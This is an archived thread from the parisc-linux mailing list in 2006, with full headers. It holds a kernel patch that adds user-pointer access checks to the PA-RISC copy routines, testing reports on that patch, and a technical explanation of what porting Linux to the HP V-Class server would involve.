Message-ID: <200612162217.33074.deller__21708.0192910091$1416624234$gmane$org@gmx.de>
References: <200612162110.kBGLAiiX013928@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624234 21795 80.91.229.3 (22 Nov 2014 02:43:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2006 21:17:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 16 Dec 2006 22:17:46 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82C937D8FB;
	Sat, 16 Dec 2006 14:17:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18690-06; Sat, 16 Dec 2006 14:17:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF0937D900;
	Sat, 16 Dec 2006 14:17:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1528F7D8F2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 14:17:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18520-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 14:17:36 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 1CD227D8EB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 14:17:35 -0700 (MST)
Original-Received: (qmail invoked by alias); 16 Dec 2006 21:17:34 -0000
Original-Received: from mnhm-590c0482.pool.einsundeins.de (EHLO p100.box) [89.12.4.130]
	by mail.gmx.net (mp028) with SMTP; 16 Dec 2006 22:17:34 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612162110.kBGLAiiX013928@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FQ/mEfN/bXBtTrqHPTQ2M4sqLyUmZYj2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24152

On Saturday 16 December 2006 22:10, John David Anglin wrote:
> > > If not, maybe you could try my (ugly & temporary) kernel patch from http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/030967.html ?
> > 
> > I'll give it a try.
> 
> I get a bunch of messages like:
> WARNING: "show_stack" [net/ipv6/ipv6.ko] undefined!

disable ipv6 for now... The problem is show_stack() in access_ok().
I don't use modules atm.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Sat, 16 Dec 2006 22:55:02 +0100
Lines: 149
Approved: news@gmane.org
Message-ID: <200612162255.02615.deller__49108.3649955273$1416624234$gmane$org@gmx.de>
References: <200612162110.kBGLAiiX013928@hiauly1.hia.nrc.ca>
	<200612162217.33074.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624234 21798 80.91.229.3 (22 Nov 2014 02:43:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:54 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2006 21:55:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 16 Dec 2006 22:55:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43D867D863;
	Sat, 16 Dec 2006 14:55:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19111-10; Sat, 16 Dec 2006 14:55:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 226F17D8B4;
	Sat, 16 Dec 2006 14:55:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 471FE7D85A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 14:55:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19141-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 14:55:05 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 4CE387D857
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Dec 2006 14:55:05 -0700 (MST)
Original-Received: (qmail invoked by alias); 16 Dec 2006 21:55:04 -0000
Original-Received: from mnhm-590c0482.pool.einsundeins.de (EHLO p100.box) [89.12.4.130]
	by mail.gmx.net (mp031) with SMTP; 16 Dec 2006 22:55:04 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612162217.33074.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f1m9cI4SeWU7ULeUfHVz75w5U3U4Nw9H
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24153

On Saturday 16 December 2006 22:17, Helge Deller wrote:
> On Saturday 16 December 2006 22:10, John David Anglin wrote:
> > > > If not, maybe you could try my (ugly & temporary) kernel patch from http://lists.parisc-linux.org/pipermail/parisc-linux/2006-December/030967.html ?
> > > 
> > > I'll give it a try.
> > 
> > I get a bunch of messages like:
> > WARNING: "show_stack" [net/ipv6/ipv6.ko] undefined!
> 
> disable ipv6 for now... The problem is show_stack() in access_ok().
> I don't use modules atm.

this is an updated patch, where only the absolute necessary pieces were changed.
It applies to current git tree...

Helge

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index 5575e41..72a873d 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -56,6 +56,7 @@
 #include <linux/module.h>
 #include <linux/compiler.h>
 #include <asm/uaccess.h>
+#include <asm/io.h>
 #define s_space "%%sr1"
 #define d_space "%%sr2"
 #else
@@ -488,23 +489,37 @@ handle_store_error:
 #ifdef __KERNEL__
 unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len)
 {
-	mtsp(get_kernel_space(), 1);
-	mtsp(get_user_space(), 2);
-	return pa_memcpy((void __force *)dst, src, len);
+	BUG_ON((long) len < 0);
+	if (access_ok(VERIFY_WRITE, dst, len)) {
+		mtsp(get_kernel_space(), 1);
+		mtsp(get_user_space(), 2);
+		len = pa_memcpy((void __force *)dst, src, len);
+	};
+	return len;
 }
 
 unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len)
 {
-	mtsp(get_user_space(), 1);
-	mtsp(get_kernel_space(), 2);
-	return pa_memcpy(dst, (void __force *)src, len);
+	BUG_ON((long) len < 0);
+	if (access_ok(VERIFY_READ, src, len)) {
+		mtsp(get_user_space(), 1);
+		mtsp(get_kernel_space(), 2);
+		len = pa_memcpy(dst, (void __force *)src, len);
+	} else
+		memset(dst, 0, len);
+	return len;
 }
 
 unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len)
 {
-	mtsp(get_user_space(), 1);
-	mtsp(get_user_space(), 2);
-	return pa_memcpy((void __force *)dst, (void __force *)src, len);
+	BUG_ON((long) len < 0);
+        if (likely(access_ok(VERIFY_READ, src, len) &&
+            access_ok(VERIFY_WRITE, dst, len))) {
+		mtsp(get_user_space(), 1);
+		mtsp(get_user_space(), 2);
+		len = pa_memcpy((void __force *)dst, (void __force *)src, len);
+	}
+	return len;
 }
 
 
@@ -516,6 +531,24 @@ void * memcpy(void * dst,const void *src
 	return dst;
 }
 
+long access_ok(int type, const void __user * addr, unsigned long size)
+{
+	unsigned long a = (unsigned long __force) addr;
+	long ok;
+
+	if (segment_eq(get_fs(),KERNEL_DS))
+		ok = 1;
+	else
+		ok = (a < F_EXTEND(0xfff00000));
+	if (unlikely(!ok)) {
+		printk(KERN_ERR "function %s() FAILED for addr=%p len=%lx\n", __FUNCTION__, addr, size);
+		show_stack(NULL,NULL);
+	}
+	return (ok);
+}
+EXPORT_SYMBOL(access_ok);
+
+
 EXPORT_SYMBOL(copy_to_user);
 EXPORT_SYMBOL(copy_from_user);
 EXPORT_SYMBOL(copy_in_user);
diff --git a/include/asm-parisc/uaccess.h b/include/asm-parisc/uaccess.h
index 2e87e82..3dbac23 100644
--- a/include/asm-parisc/uaccess.h
+++ b/include/asm-parisc/uaccess.h
@@ -33,14 +33,7 @@ extern int __get_user_bad(void);
 extern int __put_kernel_bad(void);
 extern int __put_user_bad(void);
 
-static inline long access_ok(int type, const void __user * addr,
-		unsigned long size)
-{
-	return 1;
-}
-
-#define put_user __put_user
-#define get_user __get_user
+long access_ok(int type, const void __user * addr, unsigned long size);
 
 #if BITS_PER_LONG == 32
 #define LDD_KERNEL(ptr)		__get_kernel_bad();
@@ -254,6 +247,21 @@ struct exception_data {
 #endif /* !__LP64__ */
 
 
+/* Uh, these should become the main single-value transfer routines..
+ * They automatically use the right size if we just have the right
+ * pointer type..
+ */
+#define put_user(x,ptr) ({				\
+	__chk_user_ptr(ptr);				\
+	likely(access_ok(0,ptr,sizeof(*(ptr)))) ?	\
+	 __put_user(x,ptr) : -EFAULT; })
+
+#define get_user(x,ptr) ({				\
+	__chk_user_ptr(ptr);				\
+	likely(access_ok(0,ptr,sizeof(*(ptr)))) ?	\
+	__get_user(x,ptr) : ({ x=0; -EFAULT;});  })
+
+
 /*
  * Complex access routines -- external declarations
  */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Sat, 16 Dec 2006 22:37:01 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200612170337.kBH3b286021766__20944.5448512726$1416624235$gmane$org@hiauly1.hia.nrc.ca>
References: <200612162255.02615.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624235 21801 80.91.229.3 (22 Nov 2014 02:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Dec 2006 03:37:04 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx048) with SMTP; 17 Dec 2006 04:37:04 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBH3b2Xr021767;
	Sat, 16 Dec 2006 22:37:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBH3b286021766;
	Sat, 16 Dec 2006 22:37:02 -0500 (EST)
In-Reply-To: <200612162255.02615.deller@gmx.de> from "Helge Deller" at Dec 16, 2006 10:55:02 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D9bmEfN/bXBtTrqHPTQ2/WoqLyUmZYg6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24154

> this is an updated patch, where only the absolute necessary pieces were changed.
> It applies to current git tree...

2.6.20-rc1-gd13bc210-dirty boots with the patch but su/pam authentication
is somehow broken for root.  I used the defaults for all config updates.
The only bad things that I see in the log files is some unaligned accesses
by hald.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] V-Class server.
Date: Mon, 18 Dec 2006 10:16:01 -0700
Lines: 119
Approved: news@gmane.org
Message-ID: <20061218171601.GA21248__11092.6470639699$1416624235$gmane$org@colo.lackof.org>
References: <4586B83E.40603@bcrl.stcloudstate.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624235 21808 80.91.229.3 (22 Nov 2014 02:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Hall <chall@bcrl.stcloudstate.edu>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Dec 2006 17:16:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 18 Dec 2006 18:16:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 449417D7FC;
	Mon, 18 Dec 2006 10:16:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06241-07; Mon, 18 Dec 2006 10:16:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FA927D831;
	Mon, 18 Dec 2006 10:16:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 067217D7F9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 10:16:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06236-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 10:16:02 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 56C017D7F0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 10:16:02 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BD6FA298193;
	Mon, 18 Dec 2006 10:16:01 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28393-06; Mon, 18 Dec 2006 10:16:01 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3316B298190; Mon, 18 Dec 2006 10:16:01 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4586B83E.40603@bcrl.stcloudstate.edu>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gqjuCIo+bHIyX63NNjQ0fx0qJihyapAU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24155

On Mon, Dec 18, 2006 at 09:48:14AM -0600, Chuck Hall wrote:
> Greetings,
> 
> After reading the the parisc-linux website I noticed that the V-class 
> machines could be supported if someone had access to one.  I have access 
> to one, with just one problem no teststation software to get it booted.

I'm sure someone at HP could fix that for you.
Have you tried asking HP?

This web page suggested you only need the latest 10.20 HPUX :
	http://docs.hp.com/en/A3725-96005/ch03s01.html

and it will install the "teststation" software in "/spp".

And make sure the V-class can boot HPUX and pass diagnostic
tests before trying to run parisc-linux.

> If I had the software I would be willing to have the machine accessable 
> for development work for the purpose of getting Linux on it and anything 
> else you could think of.  I might even be able to get a few cs grad 
> students to work on it, they don't seem to be doing anything useful 
> right now.

The grad students or the machines? ;)
(I'm assuming you meant the the latter)

I'd be willing to consult 1-2h per week if some CS students are
interested in working on it. My advice is get them a bit drunk
before proposing the idea. At least that worked to get the parisc-linux
port off the ground too. :)

> I do have a question about the V-class and Linux.  What still needs to 
> be done?  The parisc-linux website states the main problem as being the 
> PCI bus adapter.

Yes. I wrote that bit.

The V-class has a slightly more restrictive definition of "Cache Coherent DMA"
than the other PA-RISC machines which have an IOMMU (C/D/R/K/L/N-class,
superdome and it's derivatives).  Device drivers and DMA Mapping support
need to do one or two more things to guarantee DMA remains cache coherent.
ISTR those rules are described in the public EPIC (Excalibur PCI Interface
Chip) documentation. I don't remember anymore what the issues were.
Probably something around IRQ/DMA races and DMA start/stop races.

Use http://docs.hp.com/cgi-bin/search and enter "EPIC" to get
references to the various bits of V-class docs.

Note that to make V-class useful, one would need to verify at least
2 drivers comply with those rules: tulip (100BT) and sym53cx88_2 (SCSI).
Oh, Serial/LAN console is also required but I don't know
if that's a new driver or firmware handles all of that.

Support for the LAN/Firmware debugger would be cool too.
Additional drivers that might be useful are tg3 and acenic (1000BT).

EPIC provides 5 key things needed by any system:
1) DMA IOMMU - remaps host phys memory for 32-bit PCI devices.
   The IOMMU does this with "channels" that are directional (read-only
   or write-only).
   The IOMMU is very different than any other IOMMU used on parisc.
   I recall "dma_sync" instruction was a substantial performance
   bottleneck and HPUX code had to be restructured to avoid using
   it for (by?) some device drivers.

2) DMA Coherent RAM: bi-directional DMA can _only_ be handled here.
   It's a very limited, on-chip resource. ISTR 256 KB.
   Every driver needs some coherent RAM - usually not more
   than 16-32KB. IIRC, Tachyon (Fiber Channel) was the only exception
   and it basically exhausted the pool. IIRC, they only allowed
   one FC card per EPIC.
   This is very different because DMA can be bi-directional to any host
   RAM on most systems. The X-bar Memory architecture makes cache coherent,
   bi-directional DMA not feasible.

3) MMIO and IO Port space: routes transactions to proper PCI bus.
   Probably don't have to do more than advertise the routing.

4) PCI Configuration space: no surprise here either. Most of the PCI bus walk
   code could be copied from drivers/parisc/dino.c driver.

5) PCI IRQ handling: Normal PCI Int A-D lines are supported.
   Dino IRQ code could be "leveraged" here too.

Before kicking this off, I'd see if someone at HP who worked on
HPUX V-class firmware or OS support would be willing to "mentor" this.
It would be an excellent learning opportunity for CS grad students
and this HP person could fill in the gaps where public documentation
isn't clear or just hard to find.

> Knowing what else needs to be done would help in 
> judging the difficulty in completing the project.

Might need to add some glue to "firmware device discovery".
Ie how we query firmware for where all the motherboard devices 
are. That's probably the first step if existing code doesn't
handle it.

I'm not sure how much work is needed for reasonable CPU Cache utilization.
parisc-linux currently isn't very efficiently using CPU Cache (flushing
too often).  My guess is V-class is going to require much better utilization
since pulling in cache misses across the X-bar will be expensive.

Someone might also have to count how frequently "sync" and "dmasync" ops
are being hit.

IIRC, V-class X-bar architecture has fairly high memory latency, but
_lots_ of memory Bandwidth. Something like 20GB/s over the X-bar.
My guess is it's still useful for highly parallel (MPI?) applications.

good luck!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Hall <chall@bcrl.stcloudstate.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] V-Class server.
Date: Mon, 18 Dec 2006 09:48:14 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <4586B83E.40603__9844.84682926468$1416624235$gmane$org@bcrl.stcloudstate.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624235 21813 80.91.229.3 (22 Nov 2014 02:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Dec 2006 15:44:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 18 Dec 2006 16:44:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16B367D7FC;
	Mon, 18 Dec 2006 08:44:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05060-07; Mon, 18 Dec 2006 08:44:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE7547D7FE;
	Mon, 18 Dec 2006 08:44:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 550677D7F0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Dec 2006 08:44:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
